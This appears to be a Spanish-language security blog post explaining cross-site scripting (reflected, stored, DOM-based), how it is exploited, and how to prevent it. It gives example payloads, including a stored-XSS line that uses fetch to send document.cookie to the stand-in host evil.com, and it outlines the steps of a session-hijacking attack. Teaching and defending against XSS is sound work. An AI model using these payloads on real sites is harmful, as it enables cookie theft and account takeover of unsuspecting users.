XSS: la vulnerabilidad web más común, explicada con ejemplos

XSS: la vulnerabilidad web más común, explicada con ejemplos

Los ataques de Cross‑Site Scripting (**XSS**) siguen encabezando las listas de vulnerabilidades web. La razón es simple: un único punto donde la aplicación convierte datos suministrados por el usuario en código es suficiente para que el navegador lo ejecute como si fuera nativo — un escenario que ocurre con demasiada frecuencia en proyectos reales (Fuente [3]).

¿Qué es XSS y por qué sigue siendo el problema más frecuente?

XSS es una vulnerabilidad que permite a un atacante inyectar scripts maliciosos, normalmente JavaScript, en páginas que ven los usuarios finales. El navegador ejecuta ese código sin sospechar nada (Fuente [4]). La causa raíz es la falta de validación o saneamiento de la entrada del usuario antes de incorporarla al HTML generado (Fuente [1]).

A diferencia de vulnerabilidades que requieren configuraciones complejas o acceso a la infraestructura, XSS se basa en un único punto de falla: cualquier campo que acepte datos externos (comentarios, formularios de búsqueda, parámetros de URL) y los inserte directamente en la respuesta del servidor. Por esa razón, incluso en 2025 sigue siendo la falla más común en la web (Fuente [3]).

Tipos de XSS y ejemplos prácticos

Existen tres variantes principales, cada una con su propio vector de ataque y nivel de peligrosidad (Fuente [6]):

1. XSS reflejado

El script malicioso se envía al servidor mediante una solicitud y se refleja inmediatamente en la respuesta HTML.

Ejemplo:

GET /search?q=<script>alert('XSS')</script>

Si la página muestra el término buscado sin escaparlo, el navegador ejecutará alert('XSS'). Este tipo es frecuente en motores de búsqueda internos o formularios de contacto que devuelven el valor enviado.

2. XSS almacenado

La carga útil se guarda en una base de datos u otro medio persistente y se sirve a cualquier usuario que visite la página afectada.

Ejemplo:

<p>¡Mira mi foto! <script>fetch('https://evil.com/steal?c='+document.cookie)</script></p>

Todo visitante que lea el mensaje ejecutará el script y enviará su cookie al atacante. Es el tipo más peligroso porque la inyección persiste y afecta a múltiples usuarios.

3. XSS basado en DOM

El ataque ocurre del lado del cliente: el script malicioso manipula el Document Object Model (DOM) mediante JavaScript que procesa datos del usuario (por ejemplo, location.hash o innerHTML).

Ejemplo:

// Código vulnerable en la página
document.getElementById('output').innerHTML = location.hash;

Si el atacante navega a https://victim.com/#<script>steal()</script>, el fragmento de la URL se inserta sin saneamiento y el script se ejecuta. Este vector no requiere interacción con el servidor, lo que lo hace difícil de detectar con escáneres tradicionales.

Cómo se explota XSS en la práctica

  1. Identificar el punto de inyección – El atacante prueba campos de entrada (formularios, parámetros GET/POST, encabezados) y verifica si la respuesta contiene los datos sin codificar (Fuente [2]).
  2. Construir la carga útil – Elegir un script que cumpla el objetivo: robar cookies, redirigir a sitios de phishing, cargar un “miner” de criptomonedas, etc. Recursos recientes ofrecen cargas útiles reales y técnicas de *bypass* para evadir filtros básicos (Fuente [3]).
  3. Ejecutar y exfiltrar – Cuando la víctima carga la página comprometida, el navegador trata el script como propio. Un caso típico es capturar document.cookie y enviarlo a un servidor controlado por el atacante.
  4. Escalar – Con la sesión robada, el atacante puede actuar en nombre del usuario, acceder a datos confidenciales o crear nuevos vectores de ataque dentro de la aplicación.

El factor crítico es que el navegador no distingue entre código legítimo e inyectado; simplemente ejecuta lo que recibe. Por ello, la prevención debe centrarse en impedir que cualquier dato no confiable se convierta en código ejecutable.

Medidas efectivas para prevenir XSS

1. Validación y saneamiento de entrada

  • Lista blanca: aceptar solo los caracteres esperados (por ejemplo, alfanuméricos y un conjunto limitado de símbolos).
  • Bibliotecas de saneamiento: usar herramientas probadas (p. ej., DOMPurify) que eliminen etiquetas y atributos peligrosos.

2. Escape de salida (codificación de salida)

Antes de insertar datos en HTML, atributos, JavaScript o CSS, aplicar el escape apropiado para el contexto (entidad HTML, cadena JavaScript, codificación de URL). Esta práctica elimina la posibilidad de que el navegador interprete el contenido como código (Fuente [5]).

3. Política de Seguridad de Contenidos (CSP)

Una CSP bien configurada restringe las fuentes desde las que se pueden cargar scripts. Por ejemplo, script-src 'self' bloquea la ejecución de scripts inyectados que no provengan del mismo dominio, reduciendo drásticamente el impacto de un XSS exitoso (Fuente [5]).

4. Flags HttpOnly y Secure en cookies

Marcar las cookies de sesión con HttpOnly impide que JavaScript las acceda, limitando el daño de un ataque que logre inyectar código.

5. Revisiones y pruebas automatizadas

  • Escáneres de vulnerabilidades: herramientas que detectan puntos de inyección reflejados o almacenados.
  • Pruebas de penetración manual: especialmente para XSS basado en DOM, que a menudo escapa a los escáneres.

6. Educación del equipo de desarrollo

Muchas fallas persisten por falta de conocimiento. Capacitar a los desarrolladores sobre cómo y por qué ocurre XSS y sobre el uso correcto de funciones de escape constituye una defensa de primera línea (Fuente [3]).

Conclusión

Cross‑Site Scripting sigue siendo la falla web más común porque cualquier dato no tratado puede convertirse en código ejecutable. Comprender sus tres variantes —reflejado, almacenado y basado en DOM— y los pasos de explotación permite diseñar defensas concretas: validar y sanear la entrada, escapar la salida, aplicar CSP y reforzar las cookies. La prevención no es opcional; es una práctica esencial para proteger la confidencialidad e integridad de los usuarios.

Fuentes y referencias

Comentarios

Entradas populares de este blog

Seguridad de APIs REST: errores comunes en producción y cómo evitarlos

Inyección SQL explicada para principiantes: cómo funciona y cómo prevenirla